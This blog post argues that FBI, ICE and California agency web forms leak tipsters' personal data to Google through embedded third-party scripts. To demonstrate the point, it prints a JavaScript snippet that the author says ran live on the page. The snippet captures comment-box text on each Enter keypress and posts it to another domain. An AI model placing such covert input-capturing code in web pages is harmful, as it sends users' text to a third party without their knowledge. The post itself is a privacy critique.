patrick.net

Summary: our government agencies at both the state and federal level are irresponsibly giving Google access to what should be citizens' private information.

The FBI has a form for reporting tips, here:

https://tips.fbi.gov/

Unfortunately, that FBI form includes a recaptcha from Google, which is used to prove you are a human being and not a robot. It looks like this:



You can verify that the FBI tip site is loading the recaptcha script from Google and not from its own servers by doing a "view source" in your browser on the tips.fbi.gov page and seeing this:

sr"https://www.google.com/recaptcha/api/challenge?k=6LfDkLwSAAAAAD4IfxM2UpXo_jrotbWHVPWLwZVN&hl=en"

Including that script gives Google the easy ability to capture all the tip data that anyone submits to the FBI. In addition to the tip itself, the leaked data includes:

Your First Name
Your Last Name
Your Middle Name
Your Phone
Your Email
Your Street 1
Your Street 2
Your Suite/Apt/Mail Stop
Your City
Your State

Even if you lie on the form about those things, it's not hard for Google to know who you really are from your IP address and your browser's make and model. Google most likely has an extensive profile of you already from your phone usage (if you have an Android phone) and from your searching and surfing habits online.

This is extremely bad for the privacy of people submitting tips to the FBI and could put their lives in danger.

To illustrate the danger, I wrote this little script:

document.addEventListener("DOMContentLoaded", function(event) { 
    path = document.getElementById('accept_comment').getAttribute('href')
    textarea = document.querySelector('textarea')
    textarea.onkeyup = function(evt) {
        if (evt.keyCode == 13) { // return key
            console.log('sending fbi tip back to evil spying company, ha ha ha!')
            fetch('https://sftech.fun'/  + path,
            {
              method: 'POST',
              mode: 'no-cors',
              body: 'comment_post_id=1275699&comment_content=' + encodeURI(textarea.value)
            })
        }
    }
})

Then I included it on this very page (do a 'view source' and look for spy_on_fbi.js) in just the same way that the FBI includes Google's recapta. My little script will spy on every comment entered on this page, and copy it over to a page on a different website of mine, at http://sftech.fun/post/1275699 It won't even wait until you submit a comment, but will copy over what you're writing in the comment box at the bottom of this page every time you hit the enter key.

(Note added Tue 20 Mar 2018: disabled the spying for now, since I took down sftech.fun to save money - still happy to illustrate the principle to interested reporters though. Write p@patrick.net )

Please tell reporters about this. Other government agencies are also unwittingly offering great quantities of personal information about you to Google by including Google scripts, such as:

https://www.coveredca.com/
http://www.edd.ca.gov/
https://www.ice.gov/webform/hsi-tip-form (leaking via Google analytics script)
(let me know about others you find)